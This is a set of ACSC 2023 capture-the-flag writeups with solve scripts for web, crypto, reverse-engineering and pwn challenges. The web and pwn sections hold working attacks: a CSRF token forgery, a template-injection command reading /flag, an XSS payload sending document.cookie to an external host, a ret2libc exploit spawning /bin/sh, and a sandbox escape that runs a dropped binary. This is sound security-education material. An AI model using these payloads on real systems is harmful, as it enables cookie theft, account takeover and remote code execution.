Try   HackMD

ACSC 2023 Writeups

Screenshots
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Having * before challenge name means I solved that challenge after the competition.

web

Admin Dashboard

Find LCG parameters by some easy math then generate the fixed CSRF token for admin, then make it access addadmin.php to add a new admin user. Login as the new admin user to get flag.

import requests
from bs4 import BeautifulSoup
import time

host = "http://admin-dashboard.chal.ctf.acsc.asia"
s = requests.Session()

s.get(f"{host}/login.php", params={"username": "supernene", "password": "supernene"})


def get_csrf(s):
    soup = BeautifulSoup(s.get(f"{host}/addadmin.php").text, "html.parser")
    return soup.select_one("input[name=csrf-token]").get("value")


def solve_lcg(lcgs, M):
    s0, s1, s2, s3, *_ = lcgs
    a = (s2 - s1) * pow(s1 - s0, -1, M) % M
    c = (s2 - s1 * a) % M
    for s, ss in zip(lcgs, lcgs[1:]):
        assert (a * s + c) % M == ss
    return a, c


def recover_lcg():
    lcgs = []
    for i in range(4):
        lcgs.append(int(get_csrf(s), 16))
        print("sleep", i)
        time.sleep(31)
    lcgs = [
        242981959512841268705863502937240266293,
        212806348908635434486040285071576691911,
        35736567988205438078302479881533288039,
        161950064289252241438657334521470156708,
    ]
    print(lcgs)
    print(solve_lcg(lcgs, M))

# recover_lcg()

M = 0xC4F3B4B3DEADBEEF1337C0DEDEADC0DD
A, C = (39238395068069510873877941548003979614, 163462177865055857243861130640161174000)
s0 = int(b"admin".hex(), 16)
s = (A * s0 + C) % M
print(hex(s)[2:])

# submit
# http://localhost/addadmin.php?username=elitemiko&password=elitemiko&csrf-token=1fe69abb084e42434627a84405d722e0
# then login with elitemiko:elitemiko
# ACSC{C$rF_15_3VerYwh3Re!}

easySSTI

Read the framework source code we see that there is a filesystem access with .Echo.Filesystem, but to read the file you need to have a []byte buffer to write to. Fortunately, we see .Get "template" will be our template in []byte, so we can just reuse it to store the flag.

curl 'http://easyssti.chal.ctf.acsc.asia:8000/' -H 'Template: {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{ .Get "template" }}'

then you will get

26 [65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 34 47 102 108 97 103 34 41 46 82 101 97 100 32 40 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 41 32 125 125 32 123 123 32 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 32 125 125]

decode it with bytes(eval(s.replace(' ',','))): ACSC{h0w_did_y0u_leak_me}

Gotion

The challenge use a nginx config enables byte-ragne caching like this:

    location ~ .mp4$ {
        # Smart and Efficient Byte-Range Caching with NGINX
        # https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
        proxy_cache mycache;
        slice              4096; # Maybe it should be bigger?
        proxy_cache_key    $host$uri$is_args$args$slice_range;
        proxy_set_header   Range $slice_range;
        proxy_http_version 1.1;
        proxy_cache_valid  200 206 1h;
        proxy_pass http://app:3000;
    }

But the .mp4 regex misuse the . character, so it will also match path like /notes/834dc5a4-45c9-45a7-ba4e-a5969a18fb8b-amp4.

By playing with the byte caching with a custom server locally, we know that nginx will try to parse your Range header and align it to 4096 blocks, so $slice_range will always be 0-4095 or 4096-8191. Also, since $slice_range is used in cache key so different ranges will have different cache.

So if we create a new note and only access its second block (4096-8191), then we edit the note content to be shorter and then access the first block (0-4095). So if we access the note regularly, nginx will concat the content of the two cached block and send it to client. Therefore, with a carefully block alignment (like heap pwn) it is possible to make the first block end with <, and the start of second block will be user-controlled content. Then we can get xss with <img onerror=alert() src=x:.

import requests
import string
import os

# host = "http://localhost:30080"
host = "http://gotion.chal.ctf.acsc.asia"
# host = "http://gotion-2.chal.ctf.acsc.asia:30080"
pl = 'img onerror=location.assign(`//s.maple3142.net:3535/?${document.cookie}`) src=x:'.ljust(87, ' ')
path = requests.post(
    f"{host}/new-note",
    data={
        "title": "mp4".rjust(20, 'x'),
        "body": 'x' * (1024 - len(pl)) + pl,
    },
    allow_redirects=False,
).headers["Location"]
print(path)
note_id = path.split("/")[-1]
print(note_id)

r = requests.get(f"{host}{path}", headers={"Range": "bytes=4096-"})
print(r.headers)
print(r.text)

requests.post(
    f"{host}/update-note",
    data={
        "noteId": note_id,
        "title": "mp4",
        "body": "y" * 946,
    },
    allow_redirects=False,
)

r = requests.get(f"{host}{path}", headers={"Range": "bytes=-4095"})
print(r.headers)
print(r.text)


r = requests.get(f"{host}{path}")
print(r.headers)
print(r.text)

print(f"{host}{path}")

# to submit, just create another note and edit the form (to pass recaptcha)
# ACSC{character_appears_at_the_last_of_video_is_shobon_not_amongus}

crypto

Merkle Hellman

This challenge implemented a Merkle–Hellman knapsack cryptosystem and encrypt the flag char by char, and the private key is also given.

But the length of public key is just 7, so for implementation simplicity we can simply bruteforce

27 possibilities for each char to decrypt the flag.

from itertools import product

pk = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
ct = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
q = 20910

def decrypt(pk, c):
    for xs in product(range(2), repeat=7):
        if sum(x * y for x, y in zip(pk, xs)) == c:
            s = ''.join(str(x) for x in xs)
            return chr(int(s, 2))

flag = ''.join(decrypt(pk, c) for c in ct)
print(flag)
# ACSC{E4zY_P3@zy}

Check_number_63

We are given a bunch of

ei,ki that satisify:

eidi=1+kiφ(n)

then we have:

φ(n)1ki(modei)

Then we CRT to get

tφ(n)(modL) for
L=ei
, so
xnt+1p+q(modL)
.

Since

L is slightly less than the size of
p+q
, we bruteforce
x+yL
to find
p+q
and factor
n
by solving a quadratic equation.

from hashlib import sha512

with open("output.txt") as f:
    n = ZZ(f.readline().split(" = ")[1])
    ee = []
    kk = []
    for line in f:
        e, k = line.split(":")
        ee.append(ZZ(e))
        kk.append(ZZ(k))

t = crt([-1 / k % e for k, e in zip(kk, ee)], ee)
print(t)
L = reduce(lcm, ee)
p_plus_q_mod_L = (n - t + 1) % L


def solve_quadratic(a, b, c):
    D = b**2 - 4 * a * c
    if D >= 0 and ZZ(D).is_square():
        D = ZZ(D).sqrt()
        x1 = (-b + D) // (2 * a)
        x2 = (-b - D) // (2 * a)
        return x1, x2


def factor_with_sum(n, p_plus_q):
    # (x-p)(x-q)=x^2-(p+q)*x+n
    s = solve_quadratic(1, -p_plus_q, n)
    if s:
        p, q = s
        if n % p == 0:
            return p, q


for t in range(100000):
    p_plus_q = p_plus_q_mod_L + t * L
    sol = factor_with_sum(n, p_plus_q)
    if sol:
        print(sol)
        p, q = sol
        if p > q:
            p, q = q, p
        flag = "ACSC{" + sha512(f"{p}{q}".encode()).hexdigest() + "}"
        print(flag)
        break
# ACSC{02955bb28b6be53c08912dbf05a4081b763e69a191b39e632341a0cd37120ba3668c3f1e97815259dc46f0665b0713062d159cc85c47df77468819d367d25746}

Dual Signature Algorithm

We have two modular equation:

f1(k,d)0(modq1)f2(k,d)0(modq2)

Take F = crt([f1, f2], [q2, q2]), then

F(k,d)0(modq1q2).

Since

q1q2 is much larger then the size of
k,d
, we use LLL to find it.

import os
from hashlib import sha256
from Crypto.Util.number import long_to_bytes

g = 4
p1, p2 = (
    6276170351477662358610296265757659534898563584329624403861678676207084984210281982964595245398676819568696602458985212398017251665201155991266054305219383699,
    6592790035600261324619481304533463005761130886111654202136347967085156073379713687101783875841638513262245459729322943177912713281466956529743757383039213839,
)
y1, y2 = (
    4402230695629594751098609664164747722309480897222957264699530671849221909102875035849237359507796750078710393158944361439911537205013148370997499859214033074,
    1681962252704346790535503180583651281903938541944441796556533586799974913619493902209110690623728835694029912753819263510084101226503501626563053650880055759,
)
m = b"omochi mochimochi mochimochi omochi"
r1, s1 = (
    2059408995750136677433298244389263055046695445249968690077607175900623237060138734944126780231327500254319039236115174790677322287273023749694890125234033630,
    705204023016308665771881112578269844527040578525414513229064579516151996129198705744493237004425745778721444958494868745594673773644781132717640592278534802,
)
r2, s2 = (
    3246603518972133458487019157522113455602145970917894172952170087044203882577925192461339870709563972992589487629762432781841010769867505736764230484818447604,
    2142497127325776381345617721109438439759390966544000203818908086062572965004742554536684765731611856029799528558073686810627789363181741779462572364133421373,
)
q1, q2 = (p1 // 2), (p2 // 2)


def h(m: bytes) -> int:
    return int(sha256(m).hexdigest(), 16)
z = h(m)

q = q1 * q2
k, d = Zmod(q)["k, d"].gens()
f1 = s1 * k - r1 * d - z
f2 = s2 * k - r2 * d - z
f = crt([f1, f2], [q1, q2])
M = matrix(ZZ, f.coefficients()).T
M = M.augment(matrix.identity(3))
K = isqrt(q)
M[-1, -1] *= K
M = M.stack(vector([q] + [0] * 3))
M[:, 0] *= 2 ^ 512
print(f)
print(M.change_ring(Zmod(100)))
delta = []
basis = []
for row in M.LLL():
    print(row)
    if row[-1] == -K:
        row = -row
    if row[0] == 0 and row[-1] == K:
        x_cand = row[2]
        if pow(g, x_cand, p1) == y1 and pow(g, x_cand, p2) == y2:
            print('good', x_cand)
            print(long_to_bytes(x_cand))
            break
# ACSC{okay_you_must_be_over_twice_as_powerful_as_the_DSA}

Corrupted

First we fix the PEM formatting by adding newlines appropriately, then replace ? with A. By the file length we know it is a corrupted RSA-2048 private key. We can generate another key with ssh-keygen -t rsa -b 2048 -m pem for comparison.

Decode the base64 into a binary and open a hex editor (like ImHex), so we can attempt to decode the data with ASN.1 parsing rules and RSA key format:

PrivateKeyInfo ::= SEQUENCE {
   version Version,
   privateKeyAlgorithm AlgorithmIdentifier ,
   privateKey PrivateKey,
   attributes [0] Attributes OPTIONAL
}

RSAPrivateKey ::= SEQUENCE {
  version           Version,
  modulus           INTEGER,  -- n
  publicExponent    INTEGER,  -- e
  privateExponent   INTEGER,  -- d
  prime1            INTEGER,  -- p
  prime2            INTEGER,  -- q
  exponent1         INTEGER,  -- d mod (p-1)
  exponent2         INTEGER,  -- d mod (q-1)
  coefficient       INTEGER,  -- (inverse of q) mod p
  otherPrimeInfos   OtherPrimeInfos OPTIONAL
}

Taken from RECOVERING A FULL PEM PRIVATE KEY WHEN HALF OF IT IS REDACTED

ImHex screenshot

After that, we know the start byte index and the byte length for each integer, but only

n is fully given (not corrupted) and
e
is partially corrupted but it is easy to guess
e=65537
. All the other parameters from
d,p,q,dp,dq,
have random bits being corrupted.

I used the method given in section 4.3.2 in Recovering cryptographic keys from partial
information, by example
.

We have:

edp=1+kp(p1)edq=1+kq(q1)

and

kp,kq satisfy
(kp1)(kq1)kpkqn(mode)
. So we only have to guess at most
e
pairs of
(kp,kq)
.

Then we iteratively search the unknown bits using branch-and-prune to find integers simultaneously satisfying the following equations:

edp1+kp(p1)(mod2i)edq1+kq(q1)(mod2i)pqn(mod2i)

from binteger import Bin
import sys
from tqdm import tqdm

# recursion go brrrrr
sys.setrecursionlimit(1000000)


base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"


def custom_b64decode(s):
    bits = []
    for c in s:
        if c == "?":
            bits += ["?"] * 6
        else:
            x = base64_chars.index(c)
            bits += list(map(int, f"{x:06b}"))
    return bits


# manually fix the format by hand first (like inserting '\n' at appropriate places)
with open("fix.pem") as f:
    s = "".join(list(f)[1:-1]).strip().replace("\n", "")
    print(s, len(s))
    bits = custom_b64decode(s)
    print(len(bits) // 8)
    p_idx = 537
    q_idx = 669
    p = bits[p_idx * 8 : (p_idx + 129) * 8][::-1][:-8]
    q = bits[q_idx * 8 : (q_idx + 129) * 8][::-1][:-8]
    print(hex(Bin([0 if type(x) == str else x for x in p[::-1]]).int))
    print(hex(Bin([0 if type(x) == str else x for x in q[::-1]]).int))
    dp_idx = 801
    dq_idx = 932
    dp = bits[dp_idx * 8 : (dp_idx + 128) * 8][::-1]
    dq = bits[dq_idx * 8 : (dq_idx + 128) * 8][::-1]
    print(hex(Bin([0 if type(x) == str else x for x in dp[::-1]]).int))
    print(hex(Bin([0 if type(x) == str else x for x in dq[::-1]]).int))


def gen_cands(bv, i):
    if bv[i] == "?":
        for j in range(2):
            yield bv[:i] + [j]
    else:
        yield bv[: i + 1]


def bv2i(bv, i=None):
    if i is None:
        i = len(bv)
    return Bin(bv[:i][::-1]).int


# https://eprint.iacr.org/2020/1506.pdf


def search_factor(n, p, q, dp, dq, i=0):
    M = 2**i
    tp = bv2i(p, i)
    tq = bv2i(q, i)
    eq1 = (e * bv2i(dp, i) - 1 + kp) % M == (kp * tp) % M
    eq2 = (e * bv2i(dq, i) - 1 + kq) % M == (kq * tq) % M
    eq3 = tp * tq % M == n % M
    if not all([eq1, eq2, eq3]):
        return
    if i >= len(p) or i >= len(q):
        yield p, q
        return
    if p[i] == "?" or q[i] == "?" or dp[i] == "?" or dq[i] == "?":
        M = 2 ** (i + 1)
        cp = p[:i]
        cq = q[:i]
        for pc in gen_cands(p, i):
            for qc in gen_cands(q, i):
                for dpc in gen_cands(dp, i):
                    for dqc in gen_cands(dq, i):
                        pp = Bin(pc[::-1]).int
                        qq = Bin(qc[::-1]).int
                        dpdp = Bin(dpc[::-1]).int
                        dqdq = Bin(dqc[::-1]).int
                        eq1 = (e * dpdp - 1 + kp) % M == (kp * pp) % M
                        eq2 = (e * dqdq - 1 + kq) % M == (kq * qq) % M
                        eq3 = pp * qq % M == n % M
                        if all([eq1, eq2, eq3]):
                            yield from search_factor(
                                n,
                                pc + p[i + 1 :],
                                qc + q[i + 1 :],
                                dpc + dp[i + 1 :],
                                dqc + dq[i + 1 :],
                                i + 1,
                            )

    else:
        yield from search_factor(n, p, q, dp, dq, i + 1)


print(len([1 for x in p if x == "?"]))
print(len([1 for x in q if x == "?"]))
print(len([1 for x in dp if x == "?"]))
print(len([1 for x in dq if x == "?"]))

n = 0x9FEF118F5D5CD893A0C9FEACD478A2C2DE79DE1C3DFA819C775106A3C1F9B493848949CF362C5A20630AD4EEC253BF8811EE373C97063CF902B62DA4CF9A805C0C975C1300947178EACA6641A405A5545154C643D7222787441712380104564A687DD52E1F45A42298A5FAA28FE3A5A61A121E57DCEE5D967DCB78D130C5835DD676954106C782126698FDBFA4C7075F55EEC3CEDF247760123EE35B3AA2AFBFC8A34E08AAA6C5F9BA29E3BEBFF7FECAC8366F17C6900DA8EFDE4973FC90EE1A6CE26DC9F8366D6BCEF50BD045A5088E7622A009328AA72DB5BCC621E9027E4B6503E46724B2F5F6D106E3786E6CE640C2A183C6F5DF2842B1F44D98C780DAFF
e = 65537
for kp in tqdm(range(e)):
    try:
        # https://eprint.iacr.org/2020/1506.pdf
        # section 4.1 equation 2
        kq = -(kp - 1) * pow(kp * n - kp + 1, -1, e) % e
    except ValueError:
        print(":(", kp)
        continue
    for fp, fq in search_factor(n, p, q, dp, dq):
        pp = Bin(fp[::-1]).int
        qq = Bin(fq[::-1]).int
        if pp * qq == n:
            print(pp)
            print(qq)
            exit()

Then we generate the fixed key with:

from Crypto.PublicKey import RSA
import os

n = 0x9FEF118F5D5CD893A0C9FEACD478A2C2DE79DE1C3DFA819C775106A3C1F9B493848949CF362C5A20630AD4EEC253BF8811EE373C97063CF902B62DA4CF9A805C0C975C1300947178EACA6641A405A5545154C643D7222787441712380104564A687DD52E1F45A42298A5FAA28FE3A5A61A121E57DCEE5D967DCB78D130C5835DD676954106C782126698FDBFA4C7075F55EEC3CEDF247760123EE35B3AA2AFBFC8A34E08AAA6C5F9BA29E3BEBFF7FECAC8366F17C6900DA8EFDE4973FC90EE1A6CE26DC9F8366D6BCEF50BD045A5088E7622A009328AA72DB5BCC621E9027E4B6503E46724B2F5F6D106E3786E6CE640C2A183C6F5DF2842B1F44D98C780DAFF
e = 65537
p = 155299541009430809588425062720223500928329492369022122705786709666016799594094715510895512501712395026781939010582285702324133278500187668837746550939078189422934363524539257681962581826377503167383057860454621968968810001249538573209788164770274648965392813272525012357962769601749883966238281222460619331027
q = 130005404238627558873036684157866291284175474003438745578515687995645550973205054039649665424796512358913432509208859266795477059889954450480912297985878420461860492546158628836966054968695441928927694400623688256686778226818353096884866419423840384345802893831166438228156191918173410848482398330358248591013

d = pow(e, -1, (p - 1) * (q - 1))
key = RSA.construct((n, e, d))
with open("key.pem", "wb") as f:
    f.write(key.exportKey("PEM"))

os.chmod("key.pem", 0o600)
os.system("ssh godam@corrupted.chal.ctf.acsc.asia -i key.pem")
# ACSC{R3c0vEr_F4ctOr5_fROm_Kn0wn_b17$s!}

*SusCipher

Implemented the cipher in Z3 during the competition but can't get it work efficiently. Thanks @deuterium for telling me I need to minimize the number of bits of chosen plaintexts.

from z3 import *
from pwn import process, remote
from task import SusCipher


class Z3Cipher:
    S = SusCipher.S
    P = SusCipher.P

    def __init__(self, sol, subkeys):
        self.sol = sol
        self.subkeys = subkeys
        self.sbox = z3.Function("SBOX", z3.BitVecSort(6), z3.BitVecSort(6))
        for i in range(64):
            self.sol.add(self.sbox(i) == self.S[i])

    def _sub(self, block):
        return [self.sbox(v) for v in block]

    def _perm(self, block):
        bits = []
        for b in block:
            for i in range(6):
                bits.append(Extract(5 - i, 5 - i, b))
        new_bits = ["_"] * 6 * 8
        for i in range(6 * 8):
            new_bits[self.P[i]] = bits[i]
        ret = []
        for i in range(8):
            x = Concat(new_bits[i * 6 : (i + 1) * 6])
            ret.append(x)
        return ret

    def _xor(self, a, b):
        return [x ^ y for x, y in zip(a, b)]

    def encrypt(self, block):
        block = self._xor(block, self.subkeys[0])
        for r in range(3):
            block = self._sub(block)
            block = self._perm(block)
            block = self._xor(block, self.subkeys[r + 1])
        return block


# io = process(["python", "task.py"])
io = remote("suscipher.chal.ctf.acsc.asia", 13579)

msgs = [1 << i for i in range(48)]
io.sendlineafter(b"> ", ",".join(map(str, msgs)).encode())
cts = list(map(int, io.recvlineS().strip().split(", ")))

sol = Solver()
subkeys = [[BitVec(f"k_{i}_{j}", 6) for j in range(8)] for i in range(3 + 1)]
z3c = Z3Cipher(sol, subkeys)
for msg, ct in zip(msgs, cts):
    msg = SusCipher._divide(msg)
    ct = SusCipher._divide(ct)
    sct = z3c.encrypt(msg)
    for x, y in zip(ct, sct):
        sol.add(x == y)
print("Solving...")
assert sol.check() == sat
m = sol.model()
key = SusCipher._combine([m.eval(x).as_long() for x in subkeys[0]])
print(key)
io.sendlineafter(b"> ", str(key).encode())
io.interactive()
# ACSC{There_may_be_a_better_solution_to_solve_this_but_I_used_diff_analysis_:(}

rev

serverless

The encryptor choose random 2 primes and encrypt the flag with textbook RSA, then encrypt the RSA ciphertext with xor cipher.

Since the xor key is known, simply xor it back and do RSA decryption to get flag.

from base64 import *
from Crypto.Util.number import long_to_bytes

ar1 = [
    8026407584881212335717763155461175939053253449558928097356743317580304745257836900537741725487713354811898351514317778474405234115608371781687347872491703,
    9901479087075272465000928546760145175528311831313716995411286084780215684429457115750234954269995515521497208022159902709895803492831087888441410900661623,
    8903225968632645048112414558941014482368293389707967329431586917899894237468493767277617251082326067122876205027521423107103664566560453106513383698662841,
    7306065826954797942887008925345768422542194975212611412996809619206152967943872265885214129607801191067761271051786230521446267111488994860029935891658147,
    13002100837416249802976975336617228981498976557336038776019341954643478558536425323716753407024112736914972406623544975287903736193016505594778344376373179,
    11576051655637376487642664054274257390376244499880178084751392229273250591900336107156856829956635498116092894051582635232354596017926523129295080605554429,
    7902539523670688752549365452498382985299018894363342133531323012327857960923461934902488879455588857566708722435022350733082133933092267702307821906957977,
    6783142639439350199274781001550540761424373981915677251043304945175275590386243548101294984514936470982791698773776831533758049672189386462720647770985001,
    11319393487244650012717839752121654225994209596419701136831846093323997458647164935453184402661574913288632779725321036933530944725804415713594714876906847,
    9585387948560465713976215768016745842108284855244208916003456862520169267729486151203630145345165962235437344782253615764252330421571444685028102486610567,
]

ar2 = [
    11138133675080925873149032570509408923592577663944493077262179603892338339426376013580530251498364611817562627156767932116957250284539752419366057012361649,
    10574147867451418851637041344231275651423577891311215749455683353579335478795148329490570900445186263552549726662037946613806250295825461252937365691144757,
    10674081755614194430694316863648731761829693259627261111906003227581182291436573479641202865404241412518768803795734995501804298710271483715401954860647953,
    12968732443832149370169937542849870171809900018949150636308457250052280094029579199566526477098080152448048695730264594884959310262897810775613424383036007,
    8972395174076295368444847039674947715229479296809544092248089326976428235345226886712046918654462399484955991711195283733874190395639967899628857836740743,
    9527362749634281224487906953140787001780863710164703682625342548102961426576294773243660413567139103445338886795721973525199297094569903788493496539197863,
    10229709325149619765696926612743287965524038512950567412494449028112447211284065074607122123674007398601575622550266734924682588447213742414387099108109461,
    6775733025973714289289099342079544491278357801546402292504820748645442063442072618107305909729834896739059944218135896652802888272263806165032921710097769,
    11844424614832993323731152366810540116450336338053864348795634499070072404906281126852701590624769842713079092273019871232731892965721940265502359688474441,
    6939919557269991460418095931967704251043296456961607911365019726251568836845834148571433683707268031711944237071545445764147715416436144904514445039547287,
]
x = b64decode(
    b"MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy"
).decode()
ct = bytearray(eval(x)[::-1])
key = b"acscpass"
for i in range(len(ct)):
    ct[i] ^= key[i % len(key)]

*cc, s, k, j = ct
c = int.from_bytes(bytes(cc), "little")
p, q = ar1[j], ar2[k]
n = p * q
e = 2 ** (2**s) + 1
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
# ACSC{warmup_challenge_so_easy}


# https://github.com/relative/synchrony

ngo

There is a Galois LFSR is the binary, and it is generating the flag by xoring the

k-th output with some known numbers where
k=1,1+42,1+42+422,
.

Since the max length of that LFSR is

2321, computing
(kmod2321)
-th output is enough.

data = 0x3D2964F0


def magic():
    # galois lfsr
    global data
    v1 = data & 1
    data >>= 1
    if v1:
        data ^= 0x80200003
    return data


ct = [0x01, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xD7, 0x81, 0x21]
cycle = 0xFFFFFFFF
to_get = [1]
for _ in range(5):
    to_get.append(42 * to_get[-1] % cycle)
print(to_get)
# prefix sum
for i in range(1, len(to_get)):
    to_get[i] += to_get[i - 1]

dt = {}
for i in range(1, max(to_get) + 1):
    v = magic()
    if i in to_get:
        dt[i] = v


flag = ""
for x, y in zip(to_get, ct):
    print(x, hex(dt[x]))
    flag += chr((dt[x] & 0xFF) ^ y)
print(f"ACSC{{{flag}}}")
# use pypy3
# ACSC{yUhFgRvQ2Afi}

pwn

Vaccine

BOF to rop leak puts@GOT and go back to main, then BOF again to do ret2libc.

from pwn import *
import os

os.chdir("./bin")

context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]

libc = ELF("../libc-2.31.so")
elf = ELF("./vaccine")
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call("main")
print(rop.dump())

context.log_level = "debug"
payload = flat(rop.build())
assert all(x not in payload for x in (b"\x0a", b"\x20"))

# io = gdb.debug("./vaccine", "b *(main+417)\nc")
# io = process("./vaccine")
io = remote("vaccine.chal.ctf.acsc.asia", 1337)
io.send(b"\x00" * 0x100 + p64(0) + payload + b"\n")
io.recvuntil(b"correct vaccine!\n")
print(io.recvlineS().strip())
libc_base = int.from_bytes(io.recvn(6), "little") - libc.sym["puts"]
print(f"{libc_base = :#x}")

libc.address = libc_base
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload = flat(rop2.build())
assert all(x not in payload for x in (b"\x0a", b"\x20"))
io.send(b"\x00" * 0x100 + p64(0) + payload + b"\n")
io.interactive()
# ACSC{RoP_3@zy_Pe4$y}

evalbox

sol2.py:

f=open('/tmp/x', 'wb')
f.write(bytes.fromhex('PLACEHOLDER'))
f.flush()

sol3.py:

import os
os.chmod('/tmp/x', 0o777)
os.execve('/tmp/x',['x'],{})

and we prepare a static binary to opendir for us and write a wrapper script:

import sys

with open('main', 'rb') as f:
    data = f.read()

with open(sys.argv[1], "rb") as f:
    c = f.read()
    c = c.replace(b'PLACEHOLDER', data.hex().encode())
    # print(c.decode())
    h = c.hex()
    print(f'exec(bytes.fromhex("{h}"))')

source code of main:

#include <dirent.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
	DIR *dp;
	struct dirent *dirp;

	dp = opendir(".");

	while ((dirp = readdir(dp)) != NULL)
		printf("%s\n", dirp->d_name);
	return 0;
}

// musl-gcc main.c -o main -static -Os && strip main

Then we get the flag filename with:

python wrap.py sol2.py | nc evalbox.chal.ctf.acsc.asia 9999
python wrap.py sol3.py | nc evalbox.chal.ctf.acsc.asia 9999

Then read the flag with print((f:=open('flag-0479f1dcda629bbe833598bce876a647.txt')).read()).

ACSC{bl4ckL1st_ruL3_1s_4lw4y5_d4ng3r0uS!}